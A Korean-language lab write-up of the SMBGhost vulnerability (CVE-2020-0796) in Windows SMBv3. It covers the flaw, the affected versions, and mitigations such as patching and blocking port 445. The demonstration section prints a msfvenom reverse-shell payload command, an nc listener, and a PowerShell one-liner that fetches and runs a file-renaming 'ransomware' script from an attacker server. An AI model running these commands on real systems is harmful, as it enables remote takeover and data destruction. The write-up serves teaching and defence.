CVE-2020-0796 | SMBGhost
MS SMBv3 프로토콜 취약점
취약점 개요
지난 Wannacry 랜셈웨어 사태 시 수많은 피해를 발생시킨 SMB 프로토콜에서 재등장한 취약점이다. 기존 취약점은 SMBv1, SMBv2의 취약점이었지만 이번 SMBGhost는 SMBv3에서 발생한 취약점으로 원격 코드 실행이 가능한 취약점으로 알려졌다.
SMBGhost로 인한 블루스크린 현상이나 권한 상승, RCE은 COMPRESSION_TRANSFORM_HEADER의 OriginalCompressedSegmentSize 값을 조작해서 발생하는 Interger Overflow 때문이다.
OriginalCompressedSegmentSize에 저장 가능한 값보다 큰 값을 넣는다. 그러면 변수가 의도치 않게 매우 작은 수로 인식하거나 음수로 인식하게 된다. 이 때 프로그램이 원래와는 다른 동작을 하게 되는데 그 예시가 블루스크린이나 권한 상승이다.
취약점에 영향 받는 버전
-
Windows 10 Version 1903 for 32-bit Systems
-
Windows 10 Version 1903 for ARM64-based Systems
-
Windows 10 Version 1903 for x64-based Systems
-
Windows 10 Version 1909 for 32-bit Systems
-
Windows 10 Version 1909 for ARM64-based Systems
-
Windows 10 Version 1909 for x64-based Systems
-
Windows Server, version 1903 (Server Core installation)
-
Windows Server, version 1909 (Server Core installation)
취약점 시연
| Name | Enviroment | IP |
|---|---|---|
| Attacker | Kali Linux | 192.168.124.128 |
| Victim | Windows 10 64bit 1903 | 192.168.124.132 |
Victim 환경에서 Windows 기능 켜기/끄기를 통해 SMB Direct를 통해 SMB를 직접 활성화 하는 방법과 파일 탐색기 좌측에 해당하는 네트워크를 클릭하여 SMB 기능을 활성화 하도록 합니다.
피해자 PC에서 Remote Shell 연결된 이후 공격자 PC에서 악성 파일을 다운로드 받고 실행할 수 있게 하기 위해 공격자 서버를 enable한다.
다운로드 및 실행을 하게 할 파일은 extension_rename.bat 파일로 다운로드 된 경로로부터 모든 하위 디렉토리 내 파일 확장자를 변경하는 파일을 만들어두었습니다.
피해자 PC nmap 결과 SMB의 포트번호인 445 번호가 open 상태인 것을 확인하였습니다.
SMBGhost Scanner를 통해서 확인한 결과 이 또한 Vulnerable 한 것을 확인할 수 있습니다.
이후 exploit.py 내 공격자 PC와의 Remote Shell 연결을 위한 payload 변경이 필요하다.
msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp lhost=192.168.124.128 lport=13202 -f python
이렇게 python 형태로 나온 Payload를 exploit.py의 USER_PAYLOAD에 삽입한다.
한 쪽의 터미널은 remote shell 연결을 받을 nc -lnvp 13202 명령어를 진행하고, 다른 한 쪽의 터미널에서는 피해자 PC로의 Exploit을 진행하면 된다. 하지만 이처럼 Time out에 대한 에러가 나는 경우 아래와 같은 경우가 발생한다.
블루 스크린 에러가 발생하게 된 경우 또한 Exploit에 일부 성공한 것이다. 커널 메모리 영역에 예상치 못한 코드가 들어갔기 때문에 발생하는 것이기에 일부 성공한 것이다.
하지만 원하는 Remote Shell 코드에 접근하지 못한 것이지만 계속 Exploit하게 되면 아래와 같이 Remote Shell이 연결되는 것을 확인할 수 있다.
오른쪽 터미널에서 정상적으로 연결된 이후 디렉토리 확인을 위해 dir 사용 시 정상적으로 연결된 것을 확인 할 수 있다.
C:\USERS\USR\DESKTOP\TEST
│ 1.txt
│ 2.txt
│ 3.txt
│ 4.txt
│ 5.txt
│
├─A
│ │ 1.txt
│ │ 2.txt
│ │ 3.txt
│ │ 4.txt
│ │ 5.txt
│ │
│ └─C
│ 1.txt
│ 2.txt
│ 3.txt
│ 4.txt
│ 5.txt
│
└─B
1.txt
2.txt
3.txt
4.txt
5.txt
현재 C:\USERS\USR\DESKTOP\TEST 디렉토리에는 위와 같이 테스트용 파일이 존재한다. 랜섬웨어 및 악성코드 실행 시 정상적으로 작동하는지 테스트를 진행합니다.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 1 -noni -nop -c "(new-Object System.Net.WebClient).DownloadFile('http://{AttackIP}/extension_rename.bat','C:\Users\usr\Desktop\Test\extension_rename.bat');"&& cd C:\Users\usr\Desktop\Test&& extension_rename.bat
해당 명령어는 powershell.exe를 이용하여 공격자 서버의 파일을 다운로드 받아 실행시키는 코드로 실행하게 되면 Test 디렉토리 내 파일이 모두 변경되는 것을 확인할 수 있다.
C:\USERS\USR\DESKTOP\TEST
│ 1.ransom
│ 2.ransom
│ 3.ransom
│ 4.ransom
│ 5.ransom
│ extension_rename.ransom
│
├─A
│ │ 1.ransom
│ │ 2.ransom
│ │ 3.ransom
│ │ 4.ransom
│ │ 5.ransom
│ │
│ └─C
│ 1.ransom
│ 2.ransom
│ 3.ransom
│ 4.ransom
│ 5.ransom
│
└─B
1.ransom
2.ransom
3.ransom
4.ransom
5.ransom
대응 방안
-
KB4551762 패치 적용
-
For SMB Servers
-
취약점의 실행을 막기 위해 PowerShell의 아래의 명령어 입력 필요.
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 –Force
-
-
For SMB clients
- 랜섬웨어 WannaCry 예방처럼 방화벽에서 TCP 445 포트에 대한 차단 적용 필요.